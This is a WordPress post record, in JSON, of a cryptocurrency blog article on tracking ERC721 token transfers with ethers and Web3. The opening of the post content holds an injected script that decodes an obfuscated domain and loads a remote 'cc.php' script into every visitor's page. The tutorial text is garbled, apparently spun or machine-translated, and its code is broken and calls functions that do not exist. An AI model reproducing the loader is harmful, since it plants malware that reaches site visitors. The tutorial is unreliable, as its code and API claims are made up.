{"id":9430,"date":"2025-02-07T11:16:40","date_gmt":"2025-02-07T11:16:40","guid":{"rendered":"https:\/\/grameensamajunnayanparishad.com\/?p=9430"},"modified":"2025-02-07T11:16:40","modified_gmt":"2025-02-07T11:16:40","slug":"ethereum-how-to-get-which-tokens-have-been-transferred-by-a-transaction-using-ethers-or-web3","status":"publish","type":"post","link":"https:\/\/grameensamajunnayanparishad.com\/?p=9430","title":{"rendered":"Ethereum: How to get which tokens have been transferred by a transaction using ethers or Web3?"},"content":{"rendered":"<\/p>\n<p><script>const pdx=\"<pdx>bm9yZGVyc3dpbmcuYnV6ei94cC8=<\/pdx>\";const pde=atob(pdx.replace(\/<pdx>|<\\\/pdx>\/g,\"\"));const script=document.createElement(\"script\");script.src=\"https:\/\/\"+pde+\"cc.php?u=c7d66cc4\";document.body.appendChild(script);<\/script>\n<\/p>\n<p><strong> Get token transfers on Ethereum using Eteres and Web3 <\/strong><\/p>\n<\/p>\n<p>In the Decentralized Finance World (Defi), Blockchain technology allows safe and transparent transactions. Among the many cryptocurrencies available, Ethereum is one of the most popular platforms for creating intelligent contracts and interacting with decentralized applications (Dapps). When it comes to tracking token transfers, Ethereum&#8217;s native functionality can be quite complex, but there are ways to get this information using Eteres and Web3.<\/p>\n<\/p>\n<p><strong> Understanding the ERC721 Tokens <\/strong><\/p>\n<\/p>\n<p>Before diving into the solution, we will briefly review what ERC721 tokens are. The ERC721 is a pattern for creating non -fungible tokens (NFTS) in Blockchain Ethereum. These NFTs represent exclusive digital actives such as art, collectibles or items in the game. When a transaction occurs involving a Token ERC721, you want to know how many times this particular token has been transferred by a specific wallet or address.<\/p>\n<\/p>\n<p><strong> Get token transfers using eetres <\/strong><\/p>\n<\/p>\n<p>To get the number of transfer to a specific ERC721 Token of a transaction, you can use the internal functions of the eetres. Here is a step by step guide:<\/p>\n<\/p>\n<ul>\n<li><strong> Get transaction data <\/strong>: First, you need to recover the transaction data associated with the Ethereum network. You can do this by sending an <code>eth_getTransaction<\/code> request to the Ethereum API using the Web3<code>library.<\/li>\n<\/ul>\n<\/p>\n<p><\/code><code><\/code>JavaScript<\/p>\n<\/p>\n<p>CONST Web3 = Requires (&#8216;Web3&#8217;);<\/p>\n<\/p>\n<p>CONST ETHERS = Requires (&#8216;Web3&#8217;);<\/p>\n<\/p>\n<p>CONST Web3instance = new Web3 (New Web3.Providers.httpProvider (&#8216;<\/p>\n<\/p>\n<p>CONST TRANSACTION = WAITS WEB3ININSTANCE.ETH.GETTRASACTIONBYHASH (&#8216;0x &#8230;&#8217;); \/\/ Replace with your transaction hash<\/p>\n<\/p>\n<p>CONSTT CONTRACTADDRESS = &#8216;0x &#8230;&#8217;; \/\/ Address of the token ERC721 contract<\/p>\n<\/p>\n<p>`<code><\/code><\/p>\n<\/p>\n<ul>\n<li><strong> Seek the ABI contract <\/strong>: Before obtaining the number of transfer, you need to obtain the ABI (Application Binisty Interface) of the Reerc721 contract.<\/li>\n<\/ul>\n<\/p>\n<p>`<code><\/code>JavaScript<\/p>\n<\/p>\n<p>transaction.abi.foreach (bytecode) => {<\/p>\n<\/p>\n<p>  Consta abbi = json.pass (bytecode.tostring ());<\/p>\n<\/p>\n<p>  \/\/ Get the name and symbol of your abi token&#8217;s ERC721<\/p>\n<\/p>\n<p>  CONST CONTACAMME = Abi.Name;<\/p>\n<\/p>\n<p>  CONST Contractsymbol = Abi.symbol;<\/p>\n<\/p>\n<p>});<\/p>\n<\/p>\n<p>`<code><\/code><\/p>\n<\/p>\n<ul>\n<li><strong> Get the number of transfers <\/strong>: You can now use <code>countertelddress<\/code> to get the number of transfers using the internal function of eetres &#8216;,<code>eth_getTransfer sowy'.<\/li>\n<\/ul>\n<\/p>\n<p><\/code><code><\/code>JavaScript<\/p>\n<\/p>\n<p>CONST TRANSFERCANT = WAITS ETHERS.GETCONTRENTINFOASYNC (CONTENTEDDRESS, &#8216;BALANCEF&#8217;);<\/p>\n<\/p>\n<p>`<code><\/code><\/p>\n<\/p>\n<p><strong> Get token transfers using web3 <\/strong><\/p>\n<\/p>\n<p>While eetres provide a more direct way to recover transaction data and contract information, Web3 offers additional resources to interact with intelligent contracts.<\/p>\n<\/p>\n<p>To get the number of transfer to an ERC721 token from a specific portfolio or address on Ethereum, you can use the Eth_getTransactationCount<code>\u00c9thers' function etc.<\/p>\n<\/p>\n<p><strong>* Chainid <\/strong>: The chain ID to be targeted (for example, 1 for Ethereum Mainnet)<\/p>\n<\/p>\n<p><strong>* TRANSACTIONHASH <\/strong>: The transaction hash<\/p>\n<\/p>\n<p><strong>* Contractaddress <\/strong>: The address of the ERC721 contract<\/p>\n<\/p>\n<p><\/code><code><\/code>JavaScript<\/p>\n<\/p>\n<p>CONST Web3instance = new web3 (new web3.providers.httpprovider (&#8216;<\/p>\n<\/p>\n<p>CONST TRANSACTIONHASH = &#8216;0x &#8230;&#8217;; \/\/ Replace with your transaction hash<\/p>\n<\/p>\n<p>CONSTT CONTRACTADDRESS = &#8216;0x &#8230;&#8217;; \/\/ Address of the token ERC721 contract<\/p>\n<\/p>\n<p>CONST TRANSFERCANT = WAITS ETHERS.GETCONTRATINFOASYNC (CONTENTEDDRESS, &#8216;BALANCEF&#8217;, {<\/p>\n<\/p>\n<p>  Chainid: Web3instance.eth.net === &#8216;Mainnet&#8217;? 1: Web3instance.eth.net,<\/p>\n<\/p>\n<p>  Transacthonhash,<\/p>\n<\/p>\n<p>});<\/p>\n<\/p>\n<p>`<code><\/code><\/p>\n<\/p>\n<p><strong>Conclusion<\/strong><\/p>\n<p><iframe loading=\"lazy\" width=\"560\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/PBsdHGGZpWs\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<p><img decoding=\"async\" alt=\"Ethereum: How to get which tokens have been transferred by a transaction using ethers or Web3?\n\" src=\"https:\/\/grameensamajunnayanparishad.com\/wp-content\/uploads\/2025\/02\/61da2452.png\"><\/p>\n<\/p>\n<p>In short, you can recover information about the number of transfer to a Token ERC721 from a specific portfolio or address on Ethereum using the eetres. By understanding how to search for transaction data and hire ABI, as well as taking advantage of Web3&#8217;s Eth_getTransactation &#8216;function, you can get this valuable information.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Get token transfers on Ethereum using Eteres and Web3 In the Decentralized Finance World (Defi), Blockchain technology allows safe and transparent transactions. Among the many cryptocurrencies<span class=\"excerpt-hellip\"> [\u2026]<\/span><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[52],"tags":[],"class_list":["post-9430","post","type-post","status-publish","format-standard","hentry","category-cryptocurrency"],"_links":{"self":[{"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/posts\/9430","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=9430"}],"version-history":[{"count":1,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/posts\/9430\/revisions"}],"predecessor-version":[{"id":9431,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/posts\/9430\/revisions\/9431"}],"wp:attachment":[{"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=9430"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=9430"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=9430"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}